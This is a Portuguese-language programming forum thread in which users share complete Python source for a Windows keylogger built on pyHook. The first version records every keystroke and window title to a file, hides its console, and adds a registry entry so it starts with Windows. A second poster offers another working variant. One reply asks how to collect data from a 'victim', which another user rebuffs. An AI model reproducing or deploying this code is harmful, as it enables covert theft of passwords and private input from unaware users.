Jump to content
Kratos

[PyTeam] Simples Keylogger [pyHook]

Recommended Posts

Kratos

Era apenas para eu testar a lib pyHook, mas na impolgação, ele inicia com o Windows e roda oculto da lista de aplicativos (Huuuuuuuuuuuuaaaaaaaaaaa.. :P )

# coding: iso-8859-1 -*-

import pyHook # Importando o pyHook
import os, sys
import _winreg as winreg

def dbCreateLog(key, wName):
# Tratando as Teclas
if key == "Space":
	key = "[ Espaço ]"
if key == "Tab":
	key = "[TAB]"
if key == "Capital":
	key = "[Caps Lock]"
if key == "Lshift":
	key = "[sHIFT Esq]"
if key == "Lcontrol":
	key = "[Control Esq]"
if key == "Lmenu":
	key = "[Alt Esq]"
if key == "Rmenu":
	key = "[Alt Dir]"
if key == "Rcontrol":
	key = "[Control Dir]"
if key == "Rshift":
	key = "[sHIFT Dir]"
if key == "Return":
	key = "[ENTER]"
if key == "Back":
	key = "[backspace]"
if key == "Oem_Comma":
	key = "[VIRGULA]"
if key == "Oem_Period":
	key = "[PONTO]"
if key == "2":
	key = "['@' OU 2]"
if key == "Left":
	key = "[Esquerda]"
if key == " Right":
	key = "[Direita]"
if key == "Up":
	key = "[Para Cima]"
if key == "Down":
	key = "[Para Baixo]"
if key == "Oem_Minus":
	key = " _ "
if key == "Numpad0":
	key = "0"
if key == "Numpad1":
	key = "1"
if key == "Numpad2":
	key = "2"
if key == "Numpad3":
	key = "3"
if key == "Numpad4":
	key = "4"
if key == "Numpad5":
	key = "5"
if key == "Numpad6":
	key = "6"
if key == "Numpad7":
	key = "7"
if key == "Numpad8":
	key = "8"
if key == "Numpad9":
	key = "9"
if key == "Numpad0":
	key = "0"

# Arquivo de log
file = "KeyLogg2.txt" # ".html"
f = open(file, "a")
nomeJanela = str(wName)
f.write(nomeJanela + "--")
if wName != nomeJanela:
	f.write(wName + "--")
i = 0
for i in range(i+1):
	f.write(key)
	# Salvando as teclas
f.close

def OnKeyboardEvent(event):
"""Cria a função para catalogar a tecla"""
WindowName = event.WindowName # Janelas
key = event.Key # Teclas	
print "[%s] - %s" %(WindowName, key)
dbCreateLog(key, WindowName)
#return key # retorna a tecla
return True

hm = pyHook.HookManager() # Cria a instancia
hm.KeyDown = OnKeyboardEvent # Registra a o evento (callbacks)
hm.HookKeyboard() # Inicia o Hook (varredura das teclas digitadas)

def autoRunReg():
try:
	fileName = str("%s") %(sys.argv[0])
	dirFile = """%s+\%s""" %(os.getcwd() ,fileName)

	value = (dirFile)
	print value

	key = winreg.CreateKey(winreg.HKEY_CURRENT_USER,"Software\Microsoft\Windows NT\CurrentVersion\Windows")
	winreg.SetValueEx(key, "load", None, winreg.REG_SZ, value)
except: pass

if __name__ == '__main__':
try:
	autoRunReg()
except: pass	
import pythoncom
pythoncom.PumpMessages()

Obs: pySimplesKeylog.pyw

Kratos


"Vejo sempre além, pois me apóio em ombro de Gigantes"

Share this post


Link to post
Share on other sites
djthyrax

No # do coding, esqueceste-te do -*- dps do #. :confused:

E podias explicar o porquê do .pyw (há gente que não sabe :D ).


Não peças ajuda por PM! A tua dúvida vai ter menos atenção do que se for postada na secção correcta do fórum!

Share this post


Link to post
Share on other sites
PYPT

No # do coding, esqueceste-te do -*- dps do #. :D

E podias explicar o porquê do .pyw (há gente que não sabe :confused: ).

.py -> com MS-DOS

.pyw -> sem MS-DOS

:D

Share this post


Link to post
Share on other sites
Kratos

No # do coding, esqueceste-te do -*- dps do #. :)

E podias explicar o porquê do .pyw (há gente que não sabe :confused: ).

.py -> com MS-DOS

.pyw -> sem MS-DOS

:D

Faço das tuas palavras, as minhas... :D


"Vejo sempre além, pois me apóio em ombro de Gigantes"

Share this post


Link to post
Share on other sites
jonataszanin

Olá, estou testando o código e fazendo um keylogger aos poucos, como não conheço nada sobre essa biblioteca.

O pyHook tem um pequeno Bug, que quando estou digitando se coloco acentos como " ´ " ou " ^ " + letra:

digamos que eu digite ´ + a, o sistema operacional retorna: ´´a

Existe alguma forma do pyHook ignorar caracteres especiais que usamos muito no Brasil?

Meu código:


# -*- coding: cp1252 -*-

import pyHook

def log(key, wName):
    f = open("Log1.txt", "a")
    wName = str(wName)
    wName = "\n-----\n" + wName + "\n"
    f.write(wName)
    f.write(key)
    f.close()

aux = ""

def OnKeyboardEvent(event):
    global aux
    wName = event.WindowName
    key = event.Key
    key = key.lower() # todas minúsculas
    if key == "return": # quando Return é pressionada ele grava o log no arquivo
        aux = aux + "\n"
        key = aux
        aux = ""
        log(key, wName)
    else:
        if key == "space": #space
            key = " "
        if key == "back": # backspace
            aux = aux[:len(aux)-1] # apagar a última letra
            key = ""
        aux = aux + key
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()

import pythoncom
pythoncom.PumpMessages()

Share this post


Link to post
Share on other sites
IRX773

Kratos... eu não programo Python mas tipo ... onde ta a parte no programa para "scanar" as letras do A ao Z?

(grandes aqueles que comentam o código)

Share this post


Link to post
Share on other sites
Kratos

Kratos... eu não programo Python mas tipo ... onde ta a parte no programa para "scanar" as letras do A ao Z?

(grandes aqueles que comentam o código)

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()


"Vejo sempre além, pois me apóio em ombro de Gigantes"

Share this post


Link to post
Share on other sites
Danielt7

no meu esta dando erro no " print "[%s] - %s" %(WindowName, key) " o que eu faço para resolver?

mais Uma Coisinha

Se Eu Por Este Keylogger numa vitima a onde eu recebo os dados dela?

Desculpem as Minhas Proguntas eu sou novo em python

Cumprimentos

Edited by Danielt7

Penso noventa e nove vezes e nada descubro; deixo de pensar, mergulho em profundo silêncio - e eis que a verdade se me revela. - Albert Einstein

Share this post


Link to post
Share on other sites
thoga31

no meu esta dando erro no " print "[%s] - %s" %(WindowName, key) " o que eu faço para resolver?

Depende da versão do Python que estás a utilizar. Se estás a utilizar a versão 3, então o print é totalmente diferente.

Se Eu Por Este Keylogger numa vitima a onde eu recebo os dados dela?

Isto não é suposto atacar vítimas. Isto é suposto ser uma mera brincadeira para testar um módulo. Se pretendes saber como atacar vítimas com este código, estás no sítio errado.


Knowledge is free!

Share this post


Link to post
Share on other sites
Bytyn

Porquê escolheste a chave Software\Microsoft\Windows NT\CurrentVersion\Windows? O que ela tem de especial? Porque a chave na qual os valores são iniciados com o sistema operacional é Software\Microsoft\Windows\CurrentVersion\Run, que eu saiba, pelo menos.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

×
×
  • Create New...

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.